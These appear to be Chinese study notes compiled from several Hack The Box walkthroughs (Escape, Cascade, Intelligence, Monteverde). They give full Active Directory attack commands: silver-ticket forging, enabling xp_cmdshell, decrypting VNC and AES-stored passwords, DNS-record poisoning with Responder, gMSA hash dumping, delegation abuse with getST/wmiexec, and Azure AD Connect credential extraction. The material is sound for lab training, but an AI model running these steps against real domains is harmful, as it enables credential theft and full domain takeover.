在银票攻击中,与 DC 的所有通信都会被跳过。攻击者伪造服务票证(也称为 TGS),并使用服务帐户的 NTLM 对其进行加密。
我有 sql_svc 帐户的 NTLM 哈希值。MSSQL 服务没有分配 SPN(如果有,我可以要求 DC 生成一个服务票证,该票证将使用 sql_svc 的哈希进行加密,然后对其进行修改)。不过,我这里不需要 DC。我可以使用 Impacket 工具在本地伪造服务票证,使用 sql_svc 的 NTML 哈希对其进行加密,然后连接到 MSSQL。该票证不适用于任何其他服务,但我将能够模拟 MSSQL 上的任何用户。
要生成 Silver Ticket,我将使用ticketer.py
,它需要以下信息:
-
sql_svc 的 NTLM 哈希。
-
域 SID。
-
域名。
-
SPN(不必是有效的 SPN)。
-
要模拟的用户的名称。
我已经获得了sequel.htb的域名。
我已经获得了 sql_svc 的密码,但我需要 NTLM 哈希。有很多在线工具可以为您计算。这对于 HTB 来说效果很好,但如果这是真正的参与,我不想将客户数据放入不受信任的网站。
我将在 Python 中使用hashlib
. NTLM 是 MD4 具有 UTF-16 小结尾的密码编码:
>>> import hashlib >>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest() b'\x14C\xec\x19\xdaM\xacO\xfc\x95;\xca\x1bW\xb4\xcf'
为了很好地打印它,我将使用hex()
:REGGIE1234ronnie这个时前面获得的sql_svc的密码
>>> hashlib.new('md4', 'REGGIE1234ronnie'.encode('utf-16le')).digest().hex() '1443ec19da4dac4ffc953bca1b57b4cf'
Get-ADDomain
( docs ) 返回有关域的信息,包括 SID:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ADDomain | fl DomainSID DomainSID : S-1-5-21-4078382237-1492182817-2568127209
使用ticketer.py
告知以下信息:
oxdf@hacky$ ticketer.py -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -spn doesnotmatter/dc.sequel.htb administrator Impacket v0.10.1.dev1+20230608.100331.efc6a1c3 - Copyright 2022 Fortra [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for sequel.htb/administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in administrator.ccache
它计算必要的信息并将 TGS 保存在administrator.ccache
. 我将使用KRB5CCNAME
环境变量告诉我的系统使用该服务票证进行身份验证。export KRB5CCNAME=administrator.ccache
这可以通过运行或在每个命令之前添加来完成KRB5CCNAME=administrator.ccache
(我将用它来显示它的使用位置)。KRB5CCNAME=administrator.ccache``ccache
:此环境变量指定用户“管理员”的Kerberos 票证缓存 ( ) 文件的位置。它通常用于存储身份验证期间获得的 Kerberos 票证。
KRB5CCNAME=administrator.ccache mssqlclient.py -k dc.sequel.htb
从现在起,我可以以管理员身份从框中读取文件:
SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents BulkColumn
您提供的 SQL 查询似乎正在使用该OPENROWSET
函数从文件中读取数据。具体来说,它尝试读取位于的文件的内容C:\users\ryan.cooper\desktop\user.txt
并将其作为单个 CLOB(字符大对象)值进行检索。
以下是查询的细分:
SELECT * FROM OPENROWSET(BULK N'C:\users\ryan.cooper\desktop\user.txt', SINGLE_CLOB) AS Contents;
-
OPENROWSET
:该函数用于从文件或数据源读取数据。它允许您从外部源访问数据。 -
BULK
:该关键字与 结合使用,OPENROWSET
表示数据源是文件。 -
N'C:\users\ryan.cooper\desktop\user.txt'
:这是读取数据的文件路径。它是一个位于C:\users\ryan.cooper\desktop\user.txt
. -
SINGLE_CLOB
:指定正在读取的数据的格式。在这种情况下,它表明数据被视为单个 CLOB(字符大对象)值。 -
AS Contents
:这将为检索到的数据分配一个列别名“Contents”。 -
执行
xp_cmdshell
仍然处于禁用状态,但与 sql_svc 不同,管理员用户有权启用它:SQL (sequel\Administrator dbo@master)> xp_cmdshell whoami [-] ERROR(DC\SQLMOCK): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online. SQL (sequel\Administrator dbo@master)> EXECUTE sp_configure 'show advanced options', 1 [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sequel\Administrator dbo@master)> RECONFIGURE SQL (sequel\Administrator dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1 [*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sequel\Administrator dbo@master)> RECONFIGURE SQL (sequel\Administrator dbo@master)> xp_cmdshell whoami output -------------- sequel\sql_svc
命令仍然作为 sql_svc 运行。这是因为 sql_svc 仍然是运行 MSSQL 服务的进程。它只能与操作系统协商以管理员身份读取文件,因为它有该票证。
通过以管理员身份读写文件,我可以将其转变为以管理员身份执行。此 PayloadsAllTheThings 页面显示了各种方法。我在 HackBack 中展示了 DiagHub 方法,尽管它已经被修补了。我在 Proper 中展示了 WerTrigger 方法,我相信该方法仍然有效。
或者我可以通过 MSSQL 使用 shell 并SeImpersonatePrivilege
通过 Potato 漏洞进行滥用(正如我之前多次展示的那样)。
cascade
要枚举 LDAP,首先我将获取命名上下文:
root@kali# ldapsearch -h 10.10.10.182 -x -s base namingcontexts
如果我只想找到人,我可以提供一个查询::
ldapsearch -h 10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people
通过查看数据,Ryan Thompson 在最后有一个有趣的额外数据项cascadeLegacyPwd
:
我可以将值解码为rY4n5eva
:
root@kali# echo clk0bjVldmE= | base64 -d rY4n5eva
我尝试通过 WinRM 连接,但没有成功。
root@kali# crackmapexec winrm 10.10.10.182 -u r.thompson -p rY4n5eva WINRM 10.10.10.182 5985 CASC-DC1 [*] http://10.10.10.182:5985/wsman WINRM 10.10.10.182 5985 CASC-DC1 [-] CASCADE\r.thompson:rY4n5eva "Failed to authenticate the user r.thompson with ntlm"
使用从 LDAP 收集的密码,可以看到更多共享:
root@kali# crackmapexec smb -u r.thompson -p rY4n5eva --shares 10.10.10.182
recurse on
recurse ON
:该命令启用递归操作。如果执行复制或下载文件等操作,该命令也会影响子目录中的文件。
prompt off
ls
mget *
从收集到的信息来看,最引起我兴趣的文件是“VNC Install.reg”,因为 VNC 是一个远程软件。也因为它位于s.smith文件夹中。
cat IT/Temp/s.smith/VNC\ Install.reg
你知道什么……?另一个编码密码!这次,它是十六进制编码的,所以我使用以下命令对其进行解码:
echo "6bcf2a4b6e5aca0f" | xxd -r -p && echo ''
它有效,但密码看起来已加密。这是因为这是 VNC 密码。
但是,有一个技巧可以使用默认加密密钥和 open-ssl 单行代码来解码 VNC 密码。
echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv
这句出现报错,用下面这句
可以尝试删除-provider legacy -provider default
echo -n "6bcf2a4b6e5aca0f" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
接下来,我使用 clangmapexec 再次检查每个用户的密码。
crackmapexec smb 10.10.10.182 -d cascade.local -u ./users.txt -p sT333ve2 --continue-on-success
这确认了该密码属于s.smith
其余三个要检查的文件是:
-
IT/电子邮件档案/Meeting_Notes_June_2018.html
-
IT/日志/Ark AD 回收站/ArkAdRecycleBin.log
-
IT/日志/DC/dcdiag.log
由于该文件是 HTML 文件,因此可以在终端上使用cat或在浏览器中读取它。我决定在浏览器中检查它,看看它的渲染效果是否“漂亮”。
firefox "IT/Email Archives/Meeting_Notes_June_2018.html"
很有意思!我们可以看到 TempAdmin 帐户已被删除的提示,但密码与实际管理员帐户相同。
基本上,这告诉我,找到 TempAdmin 的密码将使我能够以管理员帐户访问主机。
下一个要检查的文件是“ArkAdRecycleBin.log”
cat "IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log"
这个文件也很有趣。它告诉我们,他们是一个用于删除用户的程序,并且以ArkSvc帐户运行。
这里有两件重要的事情。首先,该程序作为服务帐户运行,这意味着它需要以某种方式验证该用户的身份(脚本中的密码?)。其次,我们可以看到该程序删除了TempAdmin帐户,该帐户的密码与实际管理员帐户的密码相同。
此外,据观察,ArkSvc帐户是AD 回收站组的一部分,这可能是该程序所需要的。此外,该帐户位于“AD Recycle Bin”组中,并且可以使用 WinRM 远程管理 DC。
最后,我们要检查“dcdiag.log”文件。
cat "IT/Logs/DCs/dcdiag.log"
然而,查看此文件,它似乎是带有“通过或失败”消息的诊断测试 - 没有从输出中提取任何有趣的内容。
现在已经完全枚举了共享,我决定继续前进,看看我作为用户s.smith可以做什么。
现在我确认密码对于用户s.smith是有效的,我可以轻松地在 WinRM 上站稳脚跟。
此外,用户s.smith也在“Audit Share”组中。早些时候,我们发现有一个名为Audit$的
smbclient \\10.10.10.182\Audit$ -U 'cascade.local\s.smith' recurse on
prompt off
ls
mget *
首先看到的是DB\Audit.db
。这是一个 SQLite3 数据库:
root@kali# file Audit.db Audit.db: SQLite 3.x database, last written using SQLite version 3027002
我转储了三个表中的所有数据:
root@kali# sqlite3 Audit.db SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> .tables DeletedUserAudit Ldap Misc sqlite> select * from DeletedUserAudit; 6|test|Test DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local 7|deleted|deleted guy DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local 9|TempAdmin|TempAdmin DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local sqlite> select * from Ldap; 1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local sqlite> select * from Misc;
没有什么特别有趣的事情。我认为该Ldap
表中可能有密码,但 Base64 编码的数据无法解码为 ASCII。也许它以某种方式加密了。
逆向(解密该密码)
将CascAudit.exe和CascCrypto.dll文件传输到我的 Windows 实验室计算机。
先看.dll文件
这是一个用于在C#中进行AES加密的简单实现。以下是对代码的解释:
csharpCopy codenamespace CascCrypto { // Crypto类用于包含加密相关的方法 public class Crypto { // EncryptString方法用于对输入的明文字符串进行加密 public static string EncryptString(string Plaintext, string Key) { // 将明文字符串转换为字节数组 byte[] bytes = Encoding.UTF8.GetBytes(Plaintext); // 创建AES实例 Aes aes = Aes.Create(); // 设置AES算法的一些参数 aes.BlockSize = 128; // 指定块大小为128位 aes.KeySize = 128; // 指定密钥大小为128位 // 设置初始化向量(IV),这是AES算法中的一个参数,通常需要和密钥一起使用 aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842"); // 设置加密密钥 aes.Key = Encoding.UTF8.GetBytes(Key); // 设置加密模式,这里使用的是Cipher Block Chaining (CBC) 模式 aes.Mode = CipherMode.CBC; // 创建加密器 ICryptoTransform encryptor = aes.CreateEncryptor(); // 使用加密器对字节数组进行加密 byte[] encryptedBytes = encryptor.TransformFinalBlock(bytes, 0, bytes.Length); // 将加密后的字节数组转换为Base64字符串表示 string result = Convert.ToBase64String(encryptedBytes); // 返回加密后的字符串 return result; } } }
这段代码使用了C#中的Aes
类,该类提供了对高级加密标准 (AES) 算法的实现。在加密过程中,它使用了128位的块大小和密钥大小,采用了Cipher Block Chaining (CBC) 模式。初始化向量 (IV) 和密钥都是使用UTF-8编码的字符串。最终,明文字符串被转换为字节数组,然后通过AES加密器进行加密,并将结果以Base64字符串的形式返回。
此时,我已经掌握了对该密码进行逆向工程所需的大部分信息,其中包括 base64 字符串和静态 IV 值。然而,我需要找到这个难题的最后一块是“key”值。
为此,我决定在dnSpy中打开**CascAudit.exe**,然后查看代码,看看能否找到密钥。
在检查 main() 后不久,在第 31 行发现了密钥:c4scadek3y654321
完美的!这意味着我拥有逆向工程该密码所需的所有内容。
为了对这个密码进行逆向工程,我决定使用一个名为CyberChef的方便工具。
或者
直接在.exe文件中设置断点
它打开与作为参数传递的数据库的 SQLite 连接,从 LDAP 表中读取数据,并解密密码。
我决定通过调试恢复明文密码。我在 SQL 连接关闭的第 53 行放置了一个断点。然后我进入“调试”->“开始调试...”,并将参数设置为我拥有以下副本的位置 Audit.db
:
点击“确定”后,它运行到断点,我可以在“本地”窗口中看到解密的密码:
根据 SQLite DB 中的行,此密码w3lc0meFr31nd
可能与帐户 arksvc 配对。
crackmapexec winrm 10.10.10.182 -u arksvc -p w3lc0meFr31nd
arksvc 也属于一些有趣的组:
*Evil-WinRM* PS C:\> net user arksvc User name arksvc Full Name ArkSvc Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 1/9/2020 5:18:20 PM Password expires Never Password changeable 1/9/2020 5:18:20 PM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon 3/30/2020 12:37:25 PM Logon hours allowed All Local Group Memberships *AD Recycle Bin *IT *Remote Management Use Global Group memberships *Domain Users The command completed successfully.
AD Recycle Bin
是一个著名的Windows小组。[Active AD Recycle Bin
是一个著名的Windows小组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站恢复文件一样。链接的文章提供了一个 PowerShell 命令来查询域中所有已删除的对象:
*Evil-WinRM* PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects Deleted : True DistinguishedName : CN=CASC-WS1\0ADEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe,CN=Deleted Objects,DC=cascade,DC=local Name : CASC-WS1 DEL:6d97daa4-2e82-4946-a11e-f91fa18bfabe ObjectClass : computer ObjectGUID : 6d97daa4-2e82-4946-a11e-f91fa18bfabe Deleted : True DistinguishedName : CN=Scheduled Tasks\0ADEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2,CN=Deleted Objects,DC=cascade,DC=local Name : Scheduled Tasks DEL:13375728-5ddb-4137-b8b8-b9041d1d3fd2 ObjectClass : group ObjectGUID : 13375728-5ddb-4137-b8b8-b9041d1d3fd2 Deleted : True DistinguishedName : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local Name : {A403B701-A528-4685-A816-FDEE32BDDCBA} DEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e ObjectClass : groupPolicyContainer ObjectGUID : ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e Deleted : True DistinguishedName : CN=Machine\0ADEL:93c23674-e411-400b-bb9f-c0340bda5a34,CN=Deleted Objects,DC=cascade,DC=local Name : Machine DEL:93c23674-e411-400b-bb9f-c0340bda5a34 ObjectClass : container ObjectGUID : 93c23674-e411-400b-bb9f-c0340bda5a34 Deleted : True DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local Name : User DEL:746385f2-e3a0-4252-b83a-5a206da0ed88 ObjectClass : container ObjectGUID : 746385f2-e3a0-4252-b83a-5a206da0ed88 Deleted : True DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local Name : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 ObjectClass : user ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
最后一个非常有趣,因为它是我之前发现的旧电子邮件中提到的临时管理帐户(其中还说它使用与普通管理员帐户相同的密码)。
我可以获得该帐户的所有详细信息:
*Evil-WinRM* PS C:\> Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property * accountExpires : 9223372036854775807 badPasswordTime : 0 badPwdCount : 0 CanonicalName : cascade.local/Deleted Objects/TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz CN : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 codePage : 0 countryCode : 0 Created : 1/27/2020 3:23:08 AM createTimeStamp : 1/27/2020 3:23:08 AM Deleted : True Description : DisplayName : TempAdmin DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM} givenName : TempAdmin instanceType : 4 isDeleted : True LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local lastLogoff : 0 lastLogon : 0 logonCount : 0 Modified : 1/27/2020 3:24:34 AM modifyTimeStamp : 1/27/2020 3:24:34 AM msDS-LastKnownRDN : TempAdmin Name : TempAdmin DEL:f0cc344d-31e0-4866-bceb-a842791ca059 nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity ObjectCategory : ObjectClass : user ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059 objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136 primaryGroupID : 513 ProtectedFromAccidentalDeletion : False pwdLastSet : 132245689883479503 sAMAccountName : TempAdmin sDRightsEffective : 0 userAccountControl : 66048 userPrincipalName : TempAdmin@cascade.local uSNChanged : 237705 uSNCreated : 237695 whenChanged : 1/27/2020 3:24:34 AM whenCreated : 1/27/2020 3:23:08 AM
立刻就cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
跳了出来。它解码为baCT3r1aN00dles
:
root@kali# echo YmFDVDNyMWFOMDBkbGVz | base64 -d baCT3r1aN00dles
Intelligence
HTB: Intelligence | 0xdf hacks stuff
https://kavigihan.medium.com/intelligence-hackthebox-walkthrough-15d3d22123bf
dnsenum --dnsserver 10.10.10.248 -f /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -o scans/dnsenum-bitquark-intelligence.htb intelligence.htb
dnsenum
将自动化其中大部分以及强力子域。它找到 dc.intelligence.htb,以及其他几个看起来像域控制器的文件:
来到80页面,可以下载两个pdf文件
一如既往,因为我是一个 Python 爱好者,所以我制作了一个 Python 脚本来模糊测试并为我下载所有 PDF 文件。strings 查看可以看到pdf的所属用户,两个pdf都是以时间命名的,使用python脚本枚举其它pdf文件,并且下载
一如既往,因为我是一个 Python 爱好者,所以我制作了一个 Python 脚本来模糊测试并为我下载所有 PDF 文件。
seq 1 31 > days; seq 1 12 > months
Python复制代码import requests import os def fuzz_PDFs(): with open('days', 'r') as d: days = d.readlines() with open('months', 'r') as m: months = m.readlines() url_file = open('urls', 'w') url_file.close() for month in months: for day in days: r = requests.get(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') if int(r.status_code) == 200: print(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') with open('urls', 'a') as url_file: url_file.write(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') url_file.write('\n') def get_PDFs(): with open('urls', 'r') as u: urls = u.readlines() for url in urls: os.system(f'wget -q {url.strip()} ') print(f'[+] Downloading — {url.strip()} ') fuzz_PDFs() get_PDFs()
这些行导入必要的模块:requests
用于发出 HTTP 请求以及os
与操作系统交互。
Python复制代码def fuzz_PDFs(): with open('days', 'r') as d: days = d.readlines() with open('months', 'r') as m: months = m.readlines() url_file = open('urls', 'w') url_file.close()
该fuzz_PDFs
函数负责根据天和月对 PDF 文档的 URL 进行模糊测试。它读取“天”和“月”文件的内容,并将它们存储在days
和months
列表中。然后它以写入模式打开一个名为“urls”的文件并立即将其关闭。此步骤可能用于清除“urls”文件的现有内容,或者创建一个空的“urls”文件(如果不存在)。
Python复制代码 for month in months: for day in days: r = requests.get(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') if int(r.status_code) == 200: print(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') with open('urls', 'a') as url_file: url_file.write(f'http://dc.intelligence.htb/documents/2020-{day.strip()}-{month.strip()}-upload.pdf') url_file.write('\n')
在嵌套循环中,这部分代码使用从文件获取的日期和月份生成 PDF 文档的 URL。然后,它向这些 URL 发送 HTTP 请求并检查响应状态代码是否为 200(正常)。如果是,则打印 URL,并将其与换行符一起附加到“urls”文件中。
Python复制代码def get_PDFs(): with open('urls', 'r') as u: urls = u.readlines() for url in urls: os.system(f'wget -q {url.strip()} ') print(f'[+] Downloading — {url.strip()} ')
该get_PDFs
函数从“urls”文件中读取 URL,并使用该os.system
函数执行wget
命令以静默下载 PDF 文件。它还打印一条消息,指示正在下载文件。
Python复制代码fuzz_PDFs() get_PDFs()
最后,这些行调用fuzz_PDFs
和get_PDFs
函数,启动模糊测试过程并根据生成的 URL 下载 PDF 文件。
cat *.pdf | strings | grep Creator | cut -d '(' -f 2 | cut -d ')' -f 1 | grep -v TeX > users; cat users
-
cat *.pdf
:连接当前目录下所有以“.pdf”结尾的文件的内容。 -
strings
:从二进制文件中提取可打印字符。在本例中,它应用于串联的 PDF 文件以提取人类可读的字符串。 -
grep Creator
:过滤输出以仅包含包含字符串“Creator”的行。这可能是针对 PDF 文件中的元数据。 -
cut -d '(' -f 2
:使用该cut
命令以“(”作为分隔符分割每一行并选择第二个字段。这样做是为了提取左括号后面的内容。 -
cut -d ')' -f 1
:与上一个命令类似cut
,它使用“)”作为分隔符分割每一行并选择第一个字段。这样做是为了提取右括号之前的内容。 -
grep -v TeX
:使用 过滤掉包含字符串“TeX”的行grep -v
,这意味着它选择与模式不匹配的行。 -
> users
:将过滤后的输出重定向到名为“users”的文件。
还有一个比较自动化的脚本看
HTB: Intelligence | 0xdf hacks stuff
我从2020–06–04-upload.pdf文件中获得了密码“ NewIntelligenceCorpUser9876 ” 。有了这些,我就转向了 SMB。所以我使用crackmapexec用我拥有的用户名列表来暴力破解此密码的用户名。
crackmapexec smb 10.10.10.248 -u users -p “NewIntelligenceCorpUser9876”
我得到了该密码的有效用户名。
用户名 — Tiffany.Molina 密码 — NewIntelligenceCorpUser9876
我在共享中没有太多可以访问的内容Users
。NETLOGON
是空的,SYSVOL
有典型的 DC 东西,但没有什么用处。IT
是自定义共享名称,它包含一个文件:
oxdf@parrot$ smbclient -U Tiffany.Molina //10.10.10.248/IT NewIntelligenceCorpUser9876
downdetector.ps1
这是一个 PowerShell 脚本(我添加了空格):
# Check web server status. Scheduled to run every 5min Import-Module ActiveDirectory foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if(.StatusCode -ne 200) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down" } } catch {} }
该脚本进入 LDAP 并获取所有计算机的列表,然后循环访问名称以“web”开头的计算机。它将尝试向该服务器发出 Web 请求(使用正在运行的用户的凭据),如果状态代码不是 200,它将向 Ted.Graves 发送电子邮件,让他们知道主机已关闭。顶部的评论说它计划每五分钟运行一次。
所以我们尝试让他报错然后向Ted.Graves 发送电子邮件
dnstool.py
是Krbrelayx附带的一个脚本,它可以:
通过 LDAP 添加/修改/删除 Active Directory 集成 DNS 记录。
值得一试,看看 Tiffany.Molina 是否有权通过使用以下选项运行来进行此类更改:
-
-u intelligence\\Tiffany.Molina
- 进行身份验证的用户; -
-p NewIntelligenceCorpUser9876
- 用户的密码; -
--action add
- 添加新记录; -
--record web-0xdf
- 要添加的域; -
--data 10.01.14.19
- 要添加的数据,在本例中为解析 web-0xdf 的 IP; -
--type A
- 要添加的记录类型。
运行这个似乎有效:这边的data和--record后面的ip和用户都是假的
oxdf@parrot$ python3 dnstool.py -u intelligence\\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record web-0xdf --data 10.10.14.19 --type A intelligence.htb [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
responder -I tun0 -A 监听
我这边不行,没成功
hashcat -m 5600 ted.graves.hash /usr/share/wordlists/rockyou.txt
Ted.Graves 的密码是“Mr.Teddy”。crackmapexec
确认它适用于 SMB:
crackmapexec smb 10.10.10.248 -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Ted.Graves 属于 ITSupport 组,该组具有ReadGMSAPassword
SVC_INT。更有趣的是,如果我使用预先构建的查询“来自拥有原则的最短路径”,则 svc_int 帐户AllowedToDelegate
在 DC 上具有:
组管理服务帐户(GMSA) 为服务帐户提供额外的安全性。有一个用于提取 GMSA 密码的 Python 工具gMSADumper,是由 Intelligence 的作者编写的,这是我正朝着正确方向前进的另一个好迹象。
作为 Tiffany.Molina,它没有找到任何东西(这是有道理的):
oxdf@parrot$ python3 gMSADumper.py -u tiffany.molina -p NewIntelligenceCorpUser9876 -l intelligence.htb -d intelligence.htb Users or groups who can read password for svc_int$: > DC$ > itsupport
但正如 Ted.Graves 所说,它确实:
oxdf@parrot$ python3 gMSADumper.py -u ted.graves -p Mr.Teddy -l intelligence.htb -d intelligence.htb Users or groups who can read password for svc_int$: > DC$ > itsupport svc_int$:::5e47bac787e5e1970cf9acdb5b316239
使用脚本出现这个错误
pip install pycryptodome解决
对我来说不幸的是,我无法破解这个哈希值。不过,因为它是 NTLM 哈希,所以我可以传递它。
Abusing Kerberos From Linux - An Overview of Available Tools 这里面有如何攻击
因为svc_int对admin有allowedtodelegate(授权)权限,所以可以使用PTT攻击
获取票据
getST.py -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :e0dcda8d93bf71a6352ea7803c8f17f1 -impersonate administrator intelligence.htb/svc_int
-impersonate administrator 这个是想模拟的用户(任何有效的用户名)
出现报错是时间问题,解决
sudo apt-get install virtualbox-guest-utils
sudo service virtualbox-guest-utils stop
sudo apt-get install ntpdate
sudo ntpdate 10.10.10.248
再次执行getST.py获取票据
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass administrator@dc.intelligence.htb
直接横向提权
KRB5CCNAME=administrator.ccache这个环境变量以指向我要使用的票证文件
Monteverde
rpcclient -U "" -N 10.10.10.172
rpcclient $> querydispinfo 得到用用户列表
把用户当作密码尝试一下爆破
crackmapexec smb 10.10.10.172 -u users -p users --continue-on-success
得到
利用
smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs
smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$' -R 递归user$列表下的所有文件
有一个文件位于\\10.10.10.172\mhope\azure.xml
可以尝试下载下来看一下
smbclient下载,查看里面有一个密码
4n0therD4y@n0th3r$
4n0therD4y@n0th3r$
该文件是在user目录下的由于该配置文件位于 mhope 目录下发现的,判断他是mhope的密码
crackmapexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' 判断正确
net user 该用户属于 *Azure Admins 组
还有很多与此相关的程序:
*Evil-WinRM* PS C:\Program Files> ls *Azure* Directory: C:\Program Files Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/2/2020 2:51 PM Microsoft Azure Active Directory Connect d----- 1/2/2020 3:37 PM Microsoft Azure Active Directory Connect Upgrader d----- 1/2/2020 3:02 PM Microsoft Azure AD Connect Health Sync Agent d----- 1/2/2020 2:53 PM Microsoft Azure AD Sync
Azure Active Directory (Azure AD) 是 Microsoft 基于云的身份和访问管理服务。它是一个全面的身份和访问管理解决方案,提供强大的安全性、可扩展性以及与各种 Microsoft 和第三方服务的集成。Azure AD 是 Microsoft Azure 云平台的基本组件,广泛用于管理用户身份并实现对应用程序和资源的安全访问。
goole找exploit AD via azure
Azure AD Connect for Red Teamers - XPN InfoSec Blog
Azure AD Connect Database Exploit (Priv Esc) | VbScrub
Releases · VbScrub/AdSyncDecrypt · GitHub 工具
我对滥用 Azure 连接的粗糙理解
第一个,也可以说是最有趣的是密码哈希同步 (PHS),它将用户帐户和密码哈希从 Active Directory 上传到 Azure。第二种方法是直通身份验证 (PTA),它允许 Azure 将身份验证请求转发到本地 AD,而不是依赖上传哈希值。最后,我们有联合身份验证,这是我们已经见过无数次的传统 ADFS 部署。
phs
在安装 Azure AD Connect 期间创建了一个新用户,用户名为MSOL_[HEX]
,然后这个用户来处理 Active Directory 到 Azure 的复制,要获取该用户权限,
现在,默认情况下,部署连接器时,会使用 SQL Server 的 LOCALDB 在主机上创建一个新数据库,里面有个文件有用户的详细信息加密
C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll
对负责密钥管理和此数据解密的程序集的许多引用,可以利用poc它将从 LocalDB 实例检索密钥材料,然后将其传递给程序mcrypt.dll
集进行解密:
攻击前提破坏:包含 Azure AD Connect 服务的服务器,并获得对 ADSyncAdmins 或本地管理员组的访问权限,您就能够检索能够执行 DCSync 的帐户的凭据:
pta没写了
利用过程(需要上传到用户的工作目录,这边选C:\Users\mhope\Documents)
upload /home/kali/monte/AdDecrypt.exe
upload /home/kali/monte/mcrypt.dll
切换目录报错
解决(因为有空格所以加”“就可以
Set-Location "C:\Program Files" Set-Location是cd替代
